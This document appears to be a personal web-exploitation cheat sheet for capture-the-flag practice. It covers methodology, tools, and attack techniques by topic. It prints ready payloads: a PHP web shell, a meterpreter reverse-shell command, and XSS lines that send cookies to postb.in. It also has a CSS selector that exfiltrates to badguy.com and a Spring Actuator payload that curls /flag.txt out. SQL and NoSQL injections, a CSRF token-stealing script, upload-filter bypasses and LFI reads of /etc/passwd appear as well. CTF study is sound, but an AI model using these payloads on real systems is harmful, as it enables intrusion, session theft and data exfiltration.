Web
Methodology
- Description and hints/try to determine topic
- Source code/Path manipulation
- Input locations (HTTP headers, cookies, files, input fields, server logs)
- Server, application, and extension fingerprinting
- Scanners
- OWASP Testing Guide
Scripts
Tools
- Burp Suite (and FoxyProxy)
- Owasp-Zap
- Nikto
- Dirb/Dirbuster/Gobuster
- Wapiti
- Uniscan
- Commix
- SQLMap
- NoSQLMap
- WPScan
- OptionsBleed Apache
- Heartbleed OpenSSL
- Wfuzz
- Nmap
Practice
PHP testing
- Place files in
/var/www/html
service apache2 start
service mysql start
General hosting
- Other “fiddle” websites
python3 -m http.server [port]
Links
- PayloadsAllTheThings
- OWASP Testing Guide
- OWASP Cheatsheets
- Another web checklist
- GoogleCTF CSRF
- Extracting Service/URL Parsing
- CSS and CSRF
- PHP Pop Chain after Deserialization
- Upload HTACCESS as an Image
- Impossible XSS
- XSS in Google search bar
- Burp alternative?
Topics
Source code
- Client-side code
view-source:
and anything provided wget -r -l 0 <url>
grep -r \<\!-- .
dirb [url] [wordlist]
/usr/share/dirb/wordlists/
- checks for things like
robots.txt
/.git
… - also check
filename~
/filename2
/filename.bak
/filename?source
/filename?debug
Path manipulation
- Directory Traversal
//
can be used instead of/
in paths to bypass certain checks, such asstartswith()
dirb [url]
- Dirbuster/Gobuster
- CTF Extensions List
1
2
3
4
5
6
7
8
# Dirb 2.0
import requests
lines = open("/usr/share/dirb/wordlists/common.txt").readlines()
for line in lines:
url = "" + line.strip()
r = requests.get(url, params={"":""}, cookies={"":""})
if r.status_code != 404:
print(url, r.status_code)
Git Endpoint
Cookies
- Cookies can be specified with one cookie header, or multiple, also allow
cookie:;;=cookie=value;
Custom cookies
- This usually indicates that the problem has something to do with cookies
- Check typical base64, base32, base65536, hex, caesar, etc.
- Bit flipping, burp intruder will do this
- Crytpo attacks
PHPSEESSID
- Cryptographically secure
- Stored on server
- If you have access to server you can use this cookie, otherwise it’s probably not the problem
- PHP name of session file is
sess_[contents of cookie]
Flask cookies
JWT
- pyjwt
print(jwt.decode(token, verify=False))
{"typ":"JWT","alg":"none"}
->eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
HTTP
Headers
- Try to spoof source IP
X-Forwarded-For
and similar- localtest.me/127.0.0.1/10./172.16./192.168./::0 or domains that point to localhost
- Sometimes you have to pick a particular country
- Try to spoof browser
User-Agent
Methods
GET
/POST
/OPTIONS
/HEAD
/PUT
/DELETE
/TRACE
/CONNECT
Frames
- Go from frame to parent
window.parent
- Reach other frames
window.parent.frames[0].window.document.body
Websockets
- Allow servers to send messages without a client request
- ws:// or wss://
- Cross-Site WebSocket Hijacking (CSWH)
File Upload
- DON’T forget to check if re-uploading files with the same name actually changes what happens (even if the challenge says it deletes your uploads periodically… smh)
- Best case scenario: no file restrictions, able to execute file as code
- .php, .jsp, etc
- PayloadsAllTheThings
- Check for XXE if the server is parsing XML-based files
- Some servers accept file upload via
PUT
requests - Another resource
- Race conditions
- The file may be uploaded (temporarily) somewhere you can access it while it is being validated
Shells
- PHP
<?php passthru($_GET['cmd']); ?>
- Simple PHP shell
- Other shells
- listener
msfpayload php/meterpreter/reverse_tcp LHOST=[IP] LPORT=8080 R > shell.php
andmsfconsole -r php_handler.rc
- CGI PHP Shell
- JPG PHP Shell
- PNG PHP Shell
- Shell upload
Filters/Bypasses
Content-Type
header validation for filetype checking, client-controlled- File extension validation
- Double extensions:
.php.jpg
,.php;.jpg
,.php%00.jpg
- Alternative extensions:
.php5
- Variations:
.pHp
,.php.
- More ideas in link in main section
- Double extensions:
- File content validation
- Fake file header/footer around shell
- Other metadata
Testing
curl -F 'data=@path/file' [ip]
1
2
3
4
5
6
# simplest form
files = {'upload_file': open('file.txt','rb')}
# chosen filename and content type headers
files = {'upload_file': ('foobar.txt', open('file.txt','rb'), 'text/x-spam')}
# can also map additional headers
r = requests.post(url, files=files)
File Inclusion
Look for any inputs with filenames
LFI
- LFI on nginx
- LFI on nginx, PHP
?page=php://filter/convert.base64-encode/resource=upload
- Try absolute and relative paths
RFI
- See file upload section
XSS
<sCriPT>alert(1);</sCriPT>
<sCriPT>location.href = 'https://postb.in?cookie='%2Bdocument.cookie;</sCriPT>
<sCriPT>fetch('https://postb.in?cookie='%2Bdocument.referrer)</sCriPT>
<img src=X onerror=eval(atob("base64here=="))>
<svg onload=alert(1)//>
throw
can be used to eliminate parenthesisonerror=alert;throw 1
'
- ngrok
- RequestBin
- Beeceptor
- XSS made easy
- PayloadsAllTheThings
- PortSwigger Cheatsheet
- OWASP Cheatsheet
- XSS Repo
- No spaces or slashes
- Look at referrer
- Cross subdomain
- Look at CSP in response headers
- CSP Evaluator
- The fun world of CSP
- Bypass CSP
- Also look at Java applets to bypass CSP
DOMPurify
CSRF/XSRF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<script>
var get_url = "";
var get_xhr = new XMLHttpRequest();
get_xhr.onreadystatechange = function() {
if (get_xhr.readyState == XMLHttpRequest.DONE) {
var resp = get_xhr.response;
var xsrf_token = resp.getElementsByName("xsrf_token")[0].value;
// alert(xsrf_token);
post_token(xsrf_token);
}
}
get_xhr.open("GET", get_url, true);
get_xhr.responseType = "document";
get_xhr.send(null);
function post_token(xsrf_token){
post_url = "";
var post_xhr = new XMLHttpRequest();
post_xhr.open("POST", post_url, true);
payload = "param1=test&submit=Submit&xsrf_token=" + xsrf_token;
post_xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
post_xhr.setRequestHeader("Content-length", payload.length);
post_xhr.setRequestHeader("Connection", "close");
post_xhr.onreadystatechange = function(){}
post_xhr.send(payload);
}
</script>
XXE
- User-passed XML?
- OWASP XXE Processing
- OWASP XXE Prevention
- Example
- My failures on one challenge
- Ability to make external requests acts like SSRF and can also be used for port scanning
- Try using
PUBLIC "padding"
instead ofSYSTEM
(“padding” can be anything)
SSRF
- PATT
- IP addresses can be given in many different formats
- Server Side Request Forgery
- AllThingsSSRF
- Orange’s SSRF Presentation
- Can use for network/port scanning
Injections
$IFS
can replace a space
Command
sleep 5
- A lot of times you won’t see the output, so try to nc out
1
; \` ' " $ !
SQL
- SQL Fiddle
- Portswigger Cheatsheet
- MYSQL Cheatsheet
- SQLite Cheatseet
sqlmap --second-order
if result is on second page- SQLmap allows you to use Python tamper scripts to help with input restrictions
1
2
3
4
5
6
7
8
9
10
11
union, sleep, blind, etc
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username || '~' || password FROM users-- (oracle single column concatenation)
since SQLite 3.16.0
alice" union select (select group_concat(name) FROM pragma_table_info('users')),username from users--
SQLite get columns
PRAGMA table_info(table_name);
- Filters
- Filter Evasion
- Trailing Spaces
- Capitalized letters work with lowercase in LIKE but not =
- Add extra spaces
- Null bytes
- URL encoding
- Hex encoding:
name=61646D696E-- or name=UNHEX('61646D696E')--
- Char encoding:
name=CHAR(97,100,109,105,110)--
- MySQL/Oracle:
CONCAT('SEL', 'ECT') * FROM Users WHERE id=1
- MS SQL/Oracle:
'SEL' + 'ECT' * FROM Users WHERE id=1
- Postgre:
'SEL' || 'ECT' * FROM Users WHERE id=1
- Comments:
SELECT/**/*/**/FROM/**/Users/**/WHERE/**/name/**/=/**/'admin'--
GraphQL
NoSQL
MongoDB
- book.hacktricks.xyz
- Insert JavaScript functions
- JSON:
/{}
- Trigger syntax error:
'"\;{}
- Logic:
'1'=='1';//
- Comments:
//
- Operators:
$where $gt $lt $ne $in $ni $regex $exists
- Commands:
db.getCollectionNames()
- ex.
param1[$ne]=whatever¶m2[$regex]=.*
- ex.
'||'1'=='1
Template/SSTI
- PATT SSTI
- tplmap.py
Server-Side JavaScript Injection (SSJI)
- Can our input in
req
reach aneval()
for example - Look for
eval()
,setTimeout("", ...)
, andsetInterval("", ...)
- Ex.
1+1
,process.cwd()
,res.end(require('fs').readdirSync('.').toString())
- Jsgen.py
CSS
a[href^=flag\?token\=1]{background: url(//badguy.com?c=1);}
a[href^=flag\?token\=1f]{background: url(//badguy.com?c=1);}
LDAP
- Simple Cheatsheet
- LDAP Wiki on PosixGroup
objectClass
variable is indicative of LDAP
Java
Servers
Apache
.htaccess
NGINX
IIS
web.config
Server-Side
- Metasploit
searchsploit
PHP
- How parameter parsing works
arg[]=str
converts arg to array- 0e type juggling/md5 and other hashes
- intval(0x1) = 0 but 1 == 0x1
- Newline regex check bypass
\_\_FILE\_\_
is the current filenamestr_replace("../","")
only runs once so....// = ../
error_reporting(E_ALL);
may display helpful messages%00, SPACE, _ into .
- Several PHP functions to learn about server, user permissions, get data from HTTP headers or parameters
- PHP jail and UAF Writeup
- PHP filters are the next thing to check
- PHP wrappers
- PHP wrapper compression
file:///etc/passwd
php://filter/convert.base64-encode/resource=../../../../../etc/passwd
- Even if there isn’t a session cookie created, you can make one to create a session file, but must use multipart MIME: Writeup
- Remote file inclusion is off by default, but if it is on everywhere where files can be included can start with
http://
for example - You can inject PHP code into a lot of cool places, (error log, mail log, request log, cookies, environment variables, etc)
- Object injection occurs when you have improperly validated input passed to the
unserialize()
function - Object injection or serialization
- You can modify anything in the object that has a “this->” atleast that’s how I think this works
- public vs. private vs. protected attributes
echo serialize($obj); echo "\nbase64_encoded:\n\n"; echo urlencode(base64_encode(serialize($obj)));
- PHPGGC is a library of unserialize payloads
- Sometimes
//
instead of/
in a path messes with filters - If they use
$_SERVER["PHP_SELF"]
you can use “/” to include XSS possibly/example.php/<script>
- More details .env
files can be used for loading variables- Vuln PHP Functions (found online but can’t remember where)
- If you get
eval()
foreach (get_defined_functions()["internal"] as $fn){print($fn . "</br>\n");}
phpinfo();
highlight_file();
- Check input sources
php://input
$_REQUEST[]
$_POST[]
$_GET[]
$_COOKIE[]
$_SESSION[]
$_SERVER[]
- Bypass disable_functions
- Bypass filter_var
- Do stuff without numbers/letters 1 2 3 4
Flask
- Cheatsheet
- Look for template injection
- Common files like
config.py
- Common folders like
/templates
and/static
NodeJS
- Prototype pollution
- Prepared queries are still vulnerable to SQL injection
- EJS is vulnerable to template injection
- Parameter pollution
1
2
3
4
5
This snippet means that arrays and objects can be passed in the request body:
app.use(bodyParser.urlencoded({extended: true}))
username[]=a&username[]=b is interpreted as username = ['a', 'b']
Similarly, username[hello]=a is interpreted as username = {hello: 'a'}
Ruby
Spring
Actuator
1
2
3
4
Content-Type: application/json
{
"name":"spring.datasource.hikari.connection-test-query", "value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl -d @/flag.txt https://postb.in/1635604279079-2183686529751');"
}
Client-Side
- Chrome also has a nice built-in debugger
- You can add a
debugger;
statement in JavaScript to get it to pop up
- You can add a
JavaScript
- Deobfuscate
- Use
console.log()
to print in console
WASM
Crypto
Oracles
- See Cryptography page for attacks
Hash Length Extension Attacks
Burp Sequencer
- Sending a request/response to the Sequencer and collecting a lot of data can identify certain bits in tokens that have low entropy
Burp Intruder
- ECB block shuffling/CBC bit-flipping
Random Stuff
- IDOR/Mass Assignment
- OAuth
- shellql
- Integer overflow/underflow
- Side-Channel Attacks
- Same Origin Policy and CORS to relax SOP, if you see CORS headers and can get victim to visit your site, you can have them fetch pages from a vulnerable website for you: PortSwigger CORS
This post is licensed under
CC BY 4.0
by the author.